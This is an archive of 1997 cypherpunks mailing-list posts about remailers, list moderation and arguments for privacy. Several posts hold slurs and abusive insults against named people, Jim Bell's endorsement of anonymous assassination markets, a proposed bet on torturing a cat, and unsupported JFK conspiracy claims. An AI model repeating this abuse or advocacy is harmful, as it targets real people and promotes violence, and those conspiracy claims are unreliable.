> >no longer trusted Gilmore to
> >host the list.
> >
> > On the planet I live on, the list moved because Gilmore was no longer
> > willing to host the list
>
> On the other hand the majority of the list members, including myself,
> would say that the reason the list moved was because  of the
> censorship imposed by statist cocksucker Gilmore.
>
> The list rapidly disentigrated into infighting and flame wars as soon
> as the censorship was announced, several people suggested new list
> solutions before Gilmore anounced he was closing the list, I remember
> talking in private email with Igor and several others about the
> distributed mailing list solution immediately the censorship was
> announced.
>
> > Question:
> >
> > Is this true dissinformation or does this scumbag  Russian sociopath
> > believe his own lies?
>
> Question:
>
> 1. Is this bot generated or does "Casey Iverson" really exist? - I
> would say he is a real person due to the level of context sesitivity and
> quoting in his posts, however, it is beyond my comprehension that
> anyone could be this inane...

Unfortunately, New York City is the home to several people who in a
more restrictive society would have been committed - Case Iverson,
Ray Arachelian, the lying crackpot Charles Platt from alt.torture...

> 2. If "Casey" does exist does he suck John Gilmore`s cock or is he
> more of a Sandfort man?

Neither Gilmore nor Sandfart have cocks long enough to reach from
California... But Iverson may be sucking Arachelian's cock.

> 3. Could the level of stupidity in his posts be easily emulated by a perl
> script or would this require more complicated code including inducing
> gramatical errors, anti Russian rants and turns of phrase that simply
> fail to scan right in the context in which they are generated?

With difficulty. A program's output would likely sound more intelligent.

> 4. Is there a low bandwidth stego channel hidden in his rants, with
> the data transmitted as integers giving the apparent IQ of the writer
> for each message?

Yes, but it's a very low bandwidth channel capable of transmitting
single digits only.

> 5. If he does exist and is sentient is he an NSA schill wasting our
> time and effort to stop us doing crypto?

A very good point, Paul.

You may have noticed that Cocksucker John Gilmore spreads lies and
disinformation, he makes up hard numbers which can be proven to be false -
but it would require an effort that could be used more productively e.g. on
setting up more remailers. Consider several of Cocksucker John Gilmore's
recent claims made through his subservient mouthpiece Rich Graves. In
article <5gl63i$4eu@quixote.stanford.edu> Cocksucker John Gilmore wrote:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. There were several mail
loops during the list's existance on toad.com, none of which were caused by
me. The list moved because of Gilmore's censorship, which Graves forgets to
mention at all. list. In article <5gkfag$36o@quixote.stanford.edu>
Cocksucker John Gilmore/Graves further wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

The cypherpunks mailing list is archived at several sites. As I pointed out,
it's possible to search the archives and to verify that in the several years
that I've been on this list, there was not a single day when I posted 50
articles; not a single day when I posted even 15 articles; and probably less
than 10 days when I posted more than 5 articles. Cocksucker John Gilmore
is lying again. In the same article Gilmore/Graves wrote:

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I have repeatedly stated that it is NOT my intention to disrupt
the mailing list. The total size of the Serdar Argic material is under 200K.
I'd be surprised if the total size of my contributions to cypherpunks over
the years adds up to more than a couple of megabytes.

But of course we know that Cocksucker John Gilmore is a pathological liar,
so we can do something more useful than digging through the archives.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 01:58:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: For-pay remailers (was: PGP Security)
In-Reply-To: <199703220038.QAA04284@crypt.hfinney.com>
Message-ID: <3333ACEE.19A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:

> Rather than try to design or envision a grand infrastructure with
> everything working perfectly like a smoothly running machine, let's wait
> and see how for-pay remailers fare once they appear.  There's nothing
> like the profit motive to unlease creativity.  I'm sure methods for
> providing high quality service can be found.

  That sounds much better than "Let's sit on our asses and see if the
for-pay remailers fare, _if_ they ever appear, while the attacks 
continue knock off more remailers."

  One of the main reasons the CypherPunks list continued as it did
was because of those who actively made plans for its continuance,
instead of sitting on their asses.
  Are you and Greg working as a team, here?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 05:01:59 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <3.0.1.32.19970322015649.006f21a8@mail.io.com>
Message-ID: <3333D81F.7D4F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> I suggested that remailers who *charge for
> remailing* may be treated differently under the law than remailers who don't
> if they're sued as contributory or vicarious infringers of copyrights.
> 
> Would you prefer that I don't mention that potential development and silently
> watch remailer operators unknowingly expose themselves to extra liability? 

  I would prefer that you use your claimed legal knowledge to suggest
ways for remailers to prevail, rather than reasons for them to quit.

  R.J. Ringer says, "There are basically two kinds of attorneys who 
kill deals: those who admit it (none) and those who deny it (all)."
  Lawyers are for government and corporations, where they can get 
together and charge their employers/clients large sums to decide who
gets fucked, when they get fucked, and how they get fucked.
  In the ordinary world they are as useful as balls on a mannequin.

  The only lawyers I've seen who are capable of enabling action, rather
than killing deals, are mob lawyers. I think it may be because they are
working for rats who are too big to fuck.

> Also, I did not call for the list to be killed
> My comments, sent on 2/6/97, about "killing the list" are below:

> it looks to me like it's time to kill the list 

  You're leading with your chin, Greg.
 
> It makes much
> more sense to think of remailers as temporary and ephemeral, disappearing
> when squeezed too hard and reappearing with a different name and different
> ISP.

  Damn, this is right on the edge of almost being a positive thought.
Perhaps if you were kidnapped and deprogrammed soon, there might still
be hope for you to live a normal life.
  If you are going to point out the doom and gloom issues surrounding
remailers, then why not at least point their operators toward whatever
ray of light there may be, as well?

  Perhaps you could work with Attila to enhance remailer operator's
chances of survival.
  You could teach them how to duck, and he could teach them how to
shoot.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 22 Mar 1997 07:10:59 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: LA Times article on crypto anarchy
In-Reply-To: <199703220856.AAA02883@mailmasher.com>
Message-ID: <19970322070910.36388@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, Mar 22, 1997 at 12:56:02AM -0800, Huge Cajones Remailer wrote:
> 
>   Look at the number of people on the list who _boast_ about their
> killfiles. They are idiots. Even those who profess to use their 
> filters as an information tool seem to base their filtering on
> personality, to a large degree.
>   The result? They are filtering _into_ view those the disinformation
> artists who will lick their dick in order to lead them away from 
> areas they don't want to receive too much attention.
> 
>   The result of the sheep mentality of cliques who killfile each other
> is that if a list member wants to raise an issue outside of his or her
> own _clan_ on the list, then they must make NOISE sufficient to draw
> in the members of other clans, whose other members will read their
> replies.

An interesting idea.  However, while there is no doubt some truth to 
it, I think you are vastly overestimating the strength of the 
effect.  The barriers between cliques are quite permeable, and there 
are many people who have cross membership in several.  So no 
significant good idea is going to be blocked.

A far more important form of filtering takes place inside the cranium. 
Human beings find it essentially impossible to accept ideas from
people they consider assholes, even if they "read" every word.  

>   The fact of the matter is, spotting spooks and schills on this list
> is a minor matter of the simplest of traffic analysis, given the fact
> that so many list members are content to focus their attention only on
> the _visible_ enemies that those who use deceit and deception have to
> make little effort to cover their tracks.

I think you are vastly overrating the impact of "spooks" and "shills" 
on the operation of this list.  It seems to proceed by its own dynamic.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 22 Mar 1997 07:29:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: More disinfo from Cocksucker John Gilmore
In-Reply-To: <HcLy4D9w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970322082606.79538A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 22 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis your pants are on fire.
> 
> You may have noticed that Cocksucker John Gilmore spreads lies and
> disinformation, he makes up hard numbers which can be proven to be false -
> but it would require an effort that could be used more productively e.g. on
> setting up more remailers. Consider several of Cocksucker John Gilmore's
> recent claims made through his subservient mouthpiece Rich Graves. In
> article <5gl63i$4eu@quixote.stanford.edu> Cocksucker John Gilmore wrote:






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 22 Mar 1997 05:52:23 -0800 (PST)
To: (Alec)cypherpunks@toad.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970322085503.029279c4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:34 AM 3/21/97 -0500, Alec wrote:
>...Hell's Angels and Rock Machine...have been battling for control of the
- ----------------------^^^^
>illegal drug trade in Canada.
>
>Canadian justice minister, Allan Rock, said
- ----------------------------------^^^^

I've had my doubts about Allan ever since the debates on the gun registration
bill.  Even Canadians can conspire.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzPktIVO4r4sgSPhAQF0OwP8Dsh4RA0P8oZCoszNeoTK4soc15ke55g+
CWKKP/LhC19YL1c0sqXyPLBc7tuq5+F4ht5DJedov2s6C4PIXjxbQrNYw+Uyv7CJ
MD11e+bSwI5O4F8B4EkvxubFaSiO9jizw5j5PB/5tLpu0cMCi3OEwUXol7FWdyPv
w3+gnKjBOHY=
=s6iA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 22 Mar 1997 09:09:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
Message-ID: <199703221709.JAA15053@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:17 AM 3/22/97 EST, Dr.Dimitri Vulis KOTM wrote:
ty 1 queries for a reasonable fee, like $FV10.
>
>I recall that someone got hold of the Washington State database and
>operated such a service for free for a few days as a demo.

It was Oregon... unless you are thinking of an incident that I didn't hear of.

I have the Oregon DMV database on CDROM.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 22 Mar 1997 06:17:49 -0800 (PST)
To: weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221413.JAA24753@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai wrote:

| Also, I don't quite understand your first argument.  It seems to suggest
| that privacy should exist for no reason in particular.  If this is the
| case then it doesn't make sense to argue about the costs/benefits of
| privacy. But it is my understanding that most cypherpunks believe more
| privacy benefits everyone, and therefore work to making more privacy for
| everyone.  What I'm looking for are arguments that support this belief.

	Privacy should exist because information is power.
Information about me gives you power over me.  If you don't know my
home address, you can't stalk me as easily.  If you don't know my
phone number, you can't make harrassing phone calls.

	New laws get passed from time to time.  Laws banning behaviors
that were perfectly legal before.  Smoking pot, drinking without the
state's intervention, gambling, buying fertilizer, were all legal and
free at one point.  If todays mechanisms for invading privacy (such as
surveillance cameras, credit card tracking of purchases, etc) were in
place, then the government could have used them to round up thousands
of people, like they did with the Californian Japanese in the second
world war.  They did this via Post Office and IRS records.

	Being Japanese wasn't illegal, but those Japanese who built
privacy into their lives had a chance to move to a less racist state.

	Privacy matters because information is power, and power tends
to corrupt, and absolute power corrupts absolutely.

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 22 Mar 1997 09:17:15 -0800 (PST)
To: Adam Back <weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <v03007810af59c4e98993@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Much as I agree with the point that privacy is desirable, I find the
"market efficiency" arguments unpersuasive, at least as presented below:

At 1:01 PM +0000 3/22/97, Adam Back wrote:

>You requested an argument couched market economic terms as to why
>reduced privacy might be a bad idea for the market efficiency.
>Consider:
>
>Less privacy is a bad thing in market economics terms, because as
>privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism,
>etc. the free market economy will go to hell.  Poverty, and food
>shortages will result, a la the former USSR, which is slowly
>recovering from the decline caused by statist, facist policies.  We on
>the other hand, absent pressure from outside government, law
>enforcement and secret services circles are collectively headed into
>that fascist driven downward spiral.in economics.

Or, since we all understand perfectly well that *credit cards* and *checks*
and other forms of *electronic payment* are not private in the way cash is,
Adam's argument could read as follows:

"Using credit cards and checks is a bad thing in market economics terms,
because as privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism, etc. the
free market economy will go to hell.  Poverty, and food shortages will
result, a la the former USSR, which is slowly recovering from the decline
caused by statist, facist policies.  We on the other hand, absent pressure
from outside government, law enforcement and secret services circles are
collectively headed into that fascist driven downward spiral.in economics."

In other words, I submit the fallacy of this comment, that traceable
payment schemes such as credit cards and checks have _not_ destroyed the
U.S. and Western economies as evidence that Adam's thesis is incorrect.

(One might point to the correlation between increased credit and check
instruments over the past 50 years and the rise of government spending, but
such a correlation would not, in any reasonable view, be causative. I'll
elaborate on this if there's real interest.)


--Tim May

(I'm not arguing against privacy. I just don't see the validity of some of
the attempts to "prove" that privacy enhances markets (whatever that means)
and that non-privacy undermines markets. Such arguments are mostly
unpersuasive and depend strongly on assumptions and interpretations and
selective admission of facts.)

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 22 Mar 1997 10:01:01 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: PGP Security
Message-ID: <199703221800.KAA19996@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:16 PM 3/20/97 -0600, Igor Chudov @ home wrote:
>Mark M. wrote:
>> 
>> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
>> the following message which originated from "TruthMonger."  Shortly after I
>> received the message, anon.nymserver.com closed down all of its free,
>> anonymous accounts due to "abuse."
>> 
>
>This is mostly addressed to jimbell: jim, it is now obvious that
>the remailer network is as weak as a 5 year old child. It cannot
>possibly withstand even mildest forms of "abuse".
>
>Due to this fact, I question the viability of your assassination 
>politics idea as it does not seem possible to safely operate an
>assassination bot.

I don't doubt that remailers need to be strengthened to support a "classic 
AP" system.  However, complicating (or, perhaps, simplifying; depending on 
your point of view...) the issue is the fact that an AP-type system is going 
to be inherently self-protecting:  Even if I wasn't inclined to donate to 
see the death of anybody else, I'd want to protect the underlying system to 
ensure its continued existence.

I (and some others) are convinced that an AP-system would totally eliminate 
the series of tyrannies that governments have been throughout history.  
That, if true, is a _very_ valuable accomplishment to most of us, one for 
which we'd be wise to pay to achieve.  And generally, where there is a 
demand, a free market supplies that desire with a product.  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 22 Mar 1997 06:59:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto Info War
Message-ID: <199703221459.JAA19848@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Congressional Record: March 19, 1997:
> 
> The Senate
> 
> *****
> 
> DOD AUTHORIZATION--INFORMATION WARFARE [5]
> Committee on National Security: Subcommittee on Military Procurement
> and Subcommittee on Military Research and Development held a joint
> hearing on fiscal year 1998 Department of Defense authorization
> request--Information Warfare. Testimony was heard from the following
> officials of the Department of Defense: 

> Vice Adm. Arther K.
> Cebrowski, USN, Director, Navy Space, Information Warfare, Command and
             ^^^                        ^^^^^^^^^^^^^^^^^^^
> Control, Chief of Naval Operations;
           ^^^^^^^^^^^^^^^^^^^^^^^^^

> and Marvin Langston, Deputy Assistant Secretary,
> Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
           ^^^^^^^^^^^^^^^^^^                 ^^^^^^^^^^^^^^^^^^^^^^^
> Secretary of the Navy (Research, Development and Acquisition);
  ^^^^^^^^^^^^^^^^^^^^^

  Who was it who funded the development of RSA?

  Can you say "Navy?" Sure, you can.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 11:08:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <33342DE2.30BD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

Like Christians and lions - could scalpers resell the bets for a
commission?  Will we have to create an organization of escrow
agents to process the paper?  The possibilities are mind-numbing.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works,
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

Well, the feds will have to create massive new databases to track
the "street" language that develops around this stuff, so they can
present the "untainted evidence" of "intent" in court, in case they
can't establish a conventional audit trail.

The feds have supposedly been using the old "compartmentalization"
(multi-tier) technique of running their illegal operations, where
one layer (essential for tracing) can be eliminated by eliminating
one person in some cases, so maybe something along that line will
do the job here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 22 Mar 1997 10:58:53 -0800 (PST)
To: Jonathan Gaw <cypherpunks@cyberpass.net
Subject: Re: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <v03007813af59dc8615c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 AM -0600 3/22/97, Jonathan Gaw wrote:
>when i talk to people like the Direct Marketer's Assn., they honestly don't
>understand what the fuss is about. Their attitude is, quite literally,
>"What's the harm being done here?"

And why should they care what "harm" (putatively) is being done to those
who voluntarily use credit cards, etc.?

The issue is really quite analogous to the situation with those who
publically post articles, such as we are doing here (when secure nyms are
not being used). Imagine someone writing:

"when i talk to people like the maintainers of the Cypherpunks archive
site, they honestly don't understand what the fuss is about. Their attitude
is, quite literally, "What's the harm being done here?" "

Indeed, those who post public articles do so with the realization that
their words may be remembered, may be linked to their meatspace names, may
be filed away in dossiers, and so on. How could it be otherwise in a
nominally free society?

(Cypherpunks should of course reject statist laws like the so-called "Data
Privacy Laws" many European nations have adopted. If Alice says something
publically, or used the bankruptcy courts, or whatever, and Bob "remembers"
it, either in writing or in his head, no one is entitled to inspect his
file cabinets or tell him what he is allowed to "remember." If Alice wants
parts of her life held private, it is almost completely her responsibility
to keep these parts private, not rely on men with guns to do it for her.)


>what do you think the community interested in privacy protection can do to
>best illustrate to the general public the "harm" in the collection of
>personal information?

This places the focus in the wrong place. The problem is not with the
compilers of publically-offered information (assuming no contract exists to
keep the information offered private).

We should never, never, never push for legislative fixes to such alleged
problems. (For many reasons. Eric Hughes has pointed out some of them,
others of us have written extensively about technological over legislative
fixes, etc.)

"Educating the masses" is also usually a waste of time.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Gaw <jonathan@gaw.net>
Date: Sat, 22 Mar 1997 09:48:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisited
Message-ID: <3.0.32.19970322114749.006dfcbc@pconline.com>
MIME-Version: 1.0
Content-Type: text/plain


when i talk to people like the Direct Marketer's Assn., they honestly don't
understand what the fuss is about. Their attitude is, quite literally,
"What's the harm being done here?" 

what do you think the community interested in privacy protection can do to
best illustrate to the general public the "harm" in the collection of
personal information?

Jonathan Gaw


At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
>
>Much as I agree with the point that privacy is desirable, I find the
>"market efficiency" arguments unpersuasive, at least as presented below:
>
>At 1:01 PM +0000 3/22/97, Adam Back wrote:
>
>>You requested an argument couched market economic terms as to why
>>reduced privacy might be a bad idea for the market efficiency.
>>Consider:
>>
>>Less privacy is a bad thing in market economics terms, because as
>>privacy takes a downwards spiral, which leads to ever increasing
>>government intervention, increasing sizes of governments, fascism,
>>etc. the free market economy will go to hell.  Poverty, and food
>>shortages will result, a la the former USSR, which is slowly
>>recovering from the decline caused by statist, facist policies.  We on
>>the other hand, absent pressure from outside government, law
>>enforcement and secret services circles are collectively headed into
>>that fascist driven downward spiral.in economics.
>
>Or, since we all understand perfectly well that *credit cards* and *checks*
>and other forms of *electronic payment* are not private in the way cash is,
>Adam's argument could read as follows:
>
>"Using credit cards and checks is a bad thing in market economics terms,
>because as privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism, etc. the
>free market economy will go to hell.  Poverty, and food shortages will
>result, a la the former USSR, which is slowly recovering from the decline
>caused by statist, facist policies.  We on the other hand, absent pressure
>from outside government, law enforcement and secret services circles are
>collectively headed into that fascist driven downward spiral.in economics."
>
>In other words, I submit the fallacy of this comment, that traceable
>payment schemes such as credit cards and checks have _not_ destroyed the
>U.S. and Western economies as evidence that Adam's thesis is incorrect.
>
>(One might point to the correlation between increased credit and check
>instruments over the past 50 years and the rise of government spending, but
>such a correlation would not, in any reasonable view, be causative. I'll
>elaborate on this if there's real interest.)
>
>
>--Tim May
>
>(I'm not arguing against privacy. I just don't see the validity of some of
>the attempts to "prove" that privacy enhances markets (whatever that means)
>and that non-privacy undermines markets. Such arguments are mostly
>unpersuasive and depend strongly on assumptions and interpretations and
>selective admission of facts.)
>
>Just say "No" to "Big Brother Inside"
>We got computers, we're tapping phone lines, I know that that ain't allowed.
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan@gaw.net
*********Wasting Digital Bandwidth Since 1986*********




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 11:54:59 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Crypto Info War
In-Reply-To: <199703221459.JAA19848@dhp.com>
Message-ID: <333438DC.D04@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


lucifer Anonymous Remailer wrote:
> > DOD AUTHORIZATION--INFORMATION WARFARE [5]
> > Committee on National Security: Subcommittee on Military Procurement
> > and Subcommittee on Military Research and Development held a joint
> > hearing on fiscal year 1998 Department of Defense authorization
> > request--Information Warfare. Testimony was heard from the following
> > officials of the Department of Defense: Vice Adm. Arther K. Cebrowski,
> > USN, Director, Navy Space, Information Warfare, Command and Control,
> > Chief of Naval Operations; and Marvin Langston, Deputy Assistant Secretary,
> > Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
> > Secretary of the Navy (Research, Development and Acquisition);
>   Who was it who funded the development of RSA?
>   Can you say "Navy?" Sure, you can.

The Navy backs that disinfo-scumbag Chomsky as well.  But, the Navy
isn't number one - they took the pres' over to Walter Reed first to
remove the brain and bullets before shipping the corpse back to
Bethesda for the "autopsy".  Hence the reference in the official FBI
report to "surgery in the head area" when the body was removed from
the cheap shipping coffin in the body bag.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 12:09:57 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33343C5C.6D8D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> We have elected legislators to vote for laws concerning the latest
> ten-second sound-byte controversy on the Jenny Jones Show,

I used to watch her all the time when I had a TV.  She's a babe!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 22 Mar 1997 09:55:33 -0800 (PST)
To: jonathan@gaw.net (Jonathan Gaw)
Subject: Re: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <199703221752.MAA26247@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	Bring down the price of accumulating the information.  Most
people are shocked to discover how much anyone can find out about them
& their lives, and worry about it, even if they can't put their finger
on the reason.  Asking the DMA about privacy is like asking Catholic
priests about birth control.  Sure, they have an opinion, but there
might be better sources of information.  

Adam

Jonathan Gaw wrote:
| when i talk to people like the Direct Marketer's Assn., they honestly don't
| understand what the fuss is about. Their attitude is, quite literally,
| "What's the harm being done here?" 
| 
| what do you think the community interested in privacy protection can do to
| best illustrate to the general public the "harm" in the collection of
| personal information?
| 
| Jonathan Gaw
| 
| 
| At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
| >
| >Much as I agree with the point that privacy is desirable, I find the
| >"market efficiency" arguments unpersuasive, at least as presented below:
| >
| >At 1:01 PM +0000 3/22/97, Adam Back wrote:
| >
| >>You requested an argument couched market economic terms as to why
| >>reduced privacy might be a bad idea for the market efficiency.
| >>Consider:
| >>
| >>Less privacy is a bad thing in market economics terms, because as
| >>privacy takes a downwards spiral, which leads to ever increasing
| >>government intervention, increasing sizes of governments, fascism,
| >>etc. the free market economy will go to hell.  Poverty, and food
| >>shortages will result, a la the former USSR, which is slowly
| >>recovering from the decline caused by statist, facist policies.  We on
| >>the other hand, absent pressure from outside government, law
| >>enforcement and secret services circles are collectively headed into
| >>that fascist driven downward spiral.in economics.
| >
| >Or, since we all understand perfectly well that *credit cards* and *checks*
| >and other forms of *electronic payment* are not private in the way cash is,
| >Adam's argument could read as follows:
| >
| >"Using credit cards and checks is a bad thing in market economics terms,
| >because as privacy takes a downwards spiral, which leads to ever increasing
| >government intervention, increasing sizes of governments, fascism, etc. the
| >free market economy will go to hell.  Poverty, and food shortages will
| >result, a la the former USSR, which is slowly recovering from the decline
| >caused by statist, facist policies.  We on the other hand, absent pressure
| >from outside government, law enforcement and secret services circles are
| >collectively headed into that fascist driven downward spiral.in economics."
| >
| >In other words, I submit the fallacy of this comment, that traceable
| >payment schemes such as credit cards and checks have _not_ destroyed the
| >U.S. and Western economies as evidence that Adam's thesis is incorrect.
| >
| >(One might point to the correlation between increased credit and check
| >instruments over the past 50 years and the rise of government spending, but
| >such a correlation would not, in any reasonable view, be causative. I'll
| >elaborate on this if there's real interest.)
| >
| >
| >--Tim May
| >
| >(I'm not arguing against privacy. I just don't see the validity of some of
| >the attempts to "prove" that privacy enhances markets (whatever that means)
| >and that non-privacy undermines markets. Such arguments are mostly
| >unpersuasive and depend strongly on assumptions and interpretations and
| >selective admission of facts.)
| >
